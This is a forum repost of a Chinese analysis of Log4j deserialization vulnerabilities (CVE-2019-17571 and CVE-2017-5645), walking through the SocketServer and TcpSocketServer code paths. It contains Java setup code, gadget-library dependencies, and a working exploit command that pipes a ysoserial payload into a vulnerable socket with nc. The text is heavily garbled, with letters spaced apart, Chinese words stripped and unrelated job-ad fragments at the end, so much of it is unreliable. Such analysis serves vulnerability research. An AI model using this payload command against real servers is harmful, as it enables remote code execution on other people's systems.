[6400] 2020-01-03_Log4j-Unserialize-Analysis

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-17
2020-01-03_Log4j-Unserialize-Analysis L o g 4 j - U n s e r i a l i z e - A n a l y s i s E   2 0 2 0 - 0 1 - 0 3   N a s h N o . 1 N o . 1 使 N o . 2 N o . 2 1 2 / 2 0     L o g 4 j     1 . 2 . 4   < =   A p a c h e   L o g 4 j   < =   1 . 2 . 1 7 ( )   J a v a k p i N o . 3 N o . 3   S o c k e t S e r v e r   C V E C V E - 2 0 1 7 - 5 6 4 5   w t f C V E - 2 0 1 9 - 1 7 5 7 1 J D K 7 u 2 1 S o c k e t S e r v e r   .
j a v a   - c p   / U s e r s / l 1 n k 3 r / D o w n l o a d s / a p a c h e - l o g 4 j - 1 . 2 . 1 7 / l o g 4 j - 1 . 2 . 1 7 . j a r   o r g . a p a c h e . l o g 4 j . n e t . S o c k e t S e r v e r   8 8 8 8   / U s e r s / l 1 n k 3 r / D o w n l o a d s / a p a c h e - l o g 4 j - 1 . 2 . 1 7 / e x a m p l e s / l f 5 / I n i t U s i n g L o g 4 J P r o p e r t i e s / l o g 4 j . p r o p e r t i e s   / U s e r s / l 1 n k 3 r / D o w n l o a d s / a p a c h e - l o g 4 j - 1 . 2 . 1 7 j a v a   - j a r   y s o s e r i a l - m a s t e r - 5 5 f 1 e 7 c 3 5 c - 1 . j a r   J d k 7 u 2 1   " o p e n   / S y s t e m / A p p l i c a t i o n s / C a l c u l a t o r . a p p "   |   n c   1 2 7 . 0 . 0 . 1   8 8 8 8 p o m . x m l     g a d g e t   / / p o m . x m l < ! - -   h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / l o g 4 j / l o g 4 j   - - >               < d e p e n d e n c y >                       < g r o u p I d > l o g 4 j < / g r o u p I d >                       < a r t i f a c t I d > l o g 4 j < / a r t i f a c t I d >                       < v e r s i o n > 1 . 2 . 1 7 < / v e r s i o n >               < / d e p e n d e n c y >               < ! - -   h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / c o m m o n s - c o l l e c t i o n s / c o m m o n s - c o l l e c t i o n s   - - >               < d e p e n d e n c y >                       < g r o u p I d > c o m m o n s - c o l l e c t i o n s < / g r o u p I d >                       < a r t i f a c t I d > c o m m o n s - c o l l e c t i o n s < / a r t i f a c t I d >                       < v e r s i o n > 3 . 1 < / v e r s i o n >               < / d e p e n d e n c y >   o r g . a p a c h e . l o g 4 j . n e t . S i m p l e S o c k e t S e r v e r     l o g 4 j   S e r v e r S o c k e t  
  J D K   8 u 4 0   i m p o r t   o r g . a p a c h e . l o g 4 j . n e t . S i m p l e S o c k e t S e r v e r ; p u b l i c   c l a s s   L o g 4 j d e m o   {         p u b l i c     s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s ) {               S t r i n g [ ]   a r g u m e n t s   =   { " 1 2 3 4 5 " , " s r c / l o g 4 j . x m l " } ;               S i m p l e S o c k e t S e r v e r . m a i n ( a r g u m e n t s ) ;       } }   s o c k e t S e r v e r   n c p a y l o a d   s e r v e r S o c k e t . a c c e p t ( )   线   S o c k e t N o d e     S o c k e t N o d e     B u f f e r e d I n p u t S t r e a m     S o c k e t     p a y l o a d     S o c k e t N o d e   p a y l o a d   n e w   T h r e a d ( ) . s t a r t ( )   线 ( n e w   T h r e a d ( n e w   S o c k e t N o d e ( s o c k e t ,   L o g M a n a g e r . g e t L o g g e r R e p o s i t o r y ( ) ) ,   " S i m p l e S o c k e t S e r v e r - "   +   p o r t ) ) . s t a r t ( )   T h r e a d     R u n n a b l e     S o c k e t N o d e  
      p u b l i c   T h r e a d ( R u n n a b l e   t a r g e t ,   S t r i n g   n a m e )   {               i n i t ( n u l l ,   t a r g e t ,   n a m e ,   0 ) ;       }   j a v a . l a n g . T h r e a d # r u n     t a r g e t . r u n ( )     t a r g e t     S o c k e t N o d e     S o c k e t N o d e . r u n   C V E - 2 0 1 7 - 5 6 4 5 i m p o r t   j a v a . i o . I O E x c e p t i o n ; i m p o r t   j a v a . i o . O b j e c t I n p u t S t r e a m ; i m p o r t   o r g . a p a c h e . l o g g i n g . l o g 4 j . c o r e . n e t . s e r v e r . O b j e c t I n p u t S t r e a m L o g E v e n t B r i d g e ; i m p o r t o r g . a p a c h e . l o g g i n g . l o g 4 j . c o r e . n e t . s e r v e r . T c p S o c k e t S e r v e r ; p u b l i c   c l a s s   L o g 4 j D e m o 2 {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )       {               T c p S o c k e t S e r v e r < O b j e c t I n p u t S t r e a m >   L o g 4 j S e r v e r   =   n u l l ;                 t r y               {                       L o g 4 j S e r v e r   =   n e w   T c p S o c k e t S e r v e r ( 1 2 3 4 5 ,   n e w   O b j e c t I n p u t S t r e a m L o g E v e n t B r i d g e ( ) ) ;               }                 c a t c h   ( I O E x c e p t i o n   e )               {                       e . p r i n t S t a c k T r a c e ( ) ;               }               L o g 4 j S e r v e r . r u n ( ) ;       } }
/ / p o m . x m l < ! - -   h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / o r g . a p a c h e . l o g g i n g . l o g 4 j / l o g 4 j - c o r e   - - >               < d e p e n d e n c y >                       < g r o u p I d > o r g . a p a c h e . l o g g i n g . l o g 4 j < / g r o u p I d >                       < a r t i f a c t I d > l o g 4 j - c o r e < / a r t i f a c t I d >                       < v e r s i o n > 2 . 8 . 1 < / v e r s i o n >               < / d e p e n d e n c y >               < ! - -   h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / o r g . a p a c h e . l o g g i n g . l o g 4 j / l o g 4 j - a p i   - - >               < d e p e n d e n c y >                       < g r o u p I d > o r g . a p a c h e . l o g g i n g . l o g 4 j < / g r o u p I d >                       < a r t i f a c t I d > l o g 4 j - a p i < / a r t i f a c t I d >                       < v e r s i o n > 2 . 8 . 1 < / v e r s i o n >               < / d e p e n d e n c y >               < ! - -   h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / c o m m o n s - c o l l e c t i o n s / c o m m o n s - c o l l e c t i o n s   - - >               < d e p e n d e n c y >                       < g r o u p I d > c o m m o n s - c o l l e c t i o n s < / g r o u p I d >                       < a r t i f a c t I d > c o m m o n s - c o l l e c t i o n s < / a r t i f a c t I d >                       < v e r s i o n > 3 . 1 < / v e r s i o n >               < / d e p e n d e n c y >   T c p S o c k e t S e r v e r     p o r t ( )     O b j e c t I n p u t S t r e a m L o g E v e n t B r i d g e     T c p S o c k e t S e r v e r # r u n  
r u n   T c p S o c k e t S e r v e r     A b s t r a c t S o c k e t S e r v e r     A b s t r a c t S o c k e t S e r v e r     R u n a b l e     R u n a b l e   T h r e a d J a v a r u n   S o c k e t H a n d l e r   S o c k e t   s e r v e r S o c k e t . a c c e p t     S o c k e t     T c p S o c k e t S e r v e r # S o c k e t H a n d l e r     O b j e c t I n p u t S t r e a m   p a y l o a d p u b l i c   S o c k e t H a n d l e r ( S o c k e t   s o c k e t )   t h r o w s   I O E x c e p t i o n   {                 t h i s . i n p u t S t r e a m   = T c p S o c k e t S e r v e r . t h i s . l o g E v e n t I n p u t . w r a p S t r e a m ( s o c k e t . g e t I n p u t S t r e a m ( ) ) ; } p u b l i c   O b j e c t I n p u t S t r e a m   w r a p S t r e a m ( I n p u t S t r e a m   i n p u t S t r e a m )   t h r o w s   I O E x c e p t i o n   {                 r e t u r n   n e w   O b j e c t I n p u t S t r e a m ( i n p u t S t r e a m ) ; }   h a n d l e r   线   T h r e a d . s t a r t 线 T c p S o c k e t S e r v e r     s t a r t     T c p S o c k e t S e r v e r     r u n     T c p S o c k e t S e r v e r # r u n     T c p S o c k e t S e r v e r . t h i s . l o g E v e n t I n p u t   O b j e c t I n p u t S t r e a m L o g E v e n t B r i d g e     O b j e c t I n p u t S t r e a m L o g E v e n t B r i d g e # l o g E v e n t s  
  O b j e c t I n p u t S t r e a m L o g E v e n t B r i d g e # l o g E v e n t s   N o . 4 N o . 4   r e s o l v e C l a s s     r e s o l v e P r o x y C l a s s     o r g . a p a c h e . l o g g i n g . l o g 4 j . c o r e . u t i l . F i l t e r e d O b j e c t I n p u t S t r e a m . r e s o l v e C l a s s     o r g . a p a c h e . l o g g i n g . l o g 4 j .   N o . 5 N o . 5 e m m m m C V E - 2 0 1 9 - 1 7 5 7 1 k p i l o g 4 j T c p N o . 6 N o . 6
S R C 广 1 .     S R C 线 访 2 .     R a n k 3 .     线 4 .     广 5 .         1 .       2 .       3 .     广 1 . 2 . 3 . 4 . 1 . 2 . 3 . 4 . 1 2   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n
1 1   V I   广 2 p h o t o s h o p / i l l u s t r a t o r / c o r e l d r e w / 3 1 9 1   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n W e b   1 3 - 3 0 K 1 + 广 1 . ; 2 . 沿 3 . ; 4 . 5 . W A F b y p a s s 1 . 1
1 . 1 2 . H T T P 3 . C M S 4 . p h p j a v a a s p . n e t 5 . W e b   F u z z 6 . O W A S P   T O P   1 0 7 . W e b 8 . A s p . n e t P y t h o n p h p j a v a 1 . 2 . 3 . C I S S P C I S A C S S L P I S O 2 7 0 0 1 I T I L P M P C O B I T S e c u r i t y + C I S P O S C P 4 . S R C C T F 5 . 6 . 7 . 8 . 稿 1 3 - 3 0 K 2 + 1 . 2 . 3 . 1 . 使 P y t h o n j a v a c / c + + 2 . 使 D j a n g o f l a s k   w e b 使 m y s q l m o n g o D B r e d i s 3 : w e b 4 . 5 . 1 . t c p 2 . g i t h u b 3 :
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则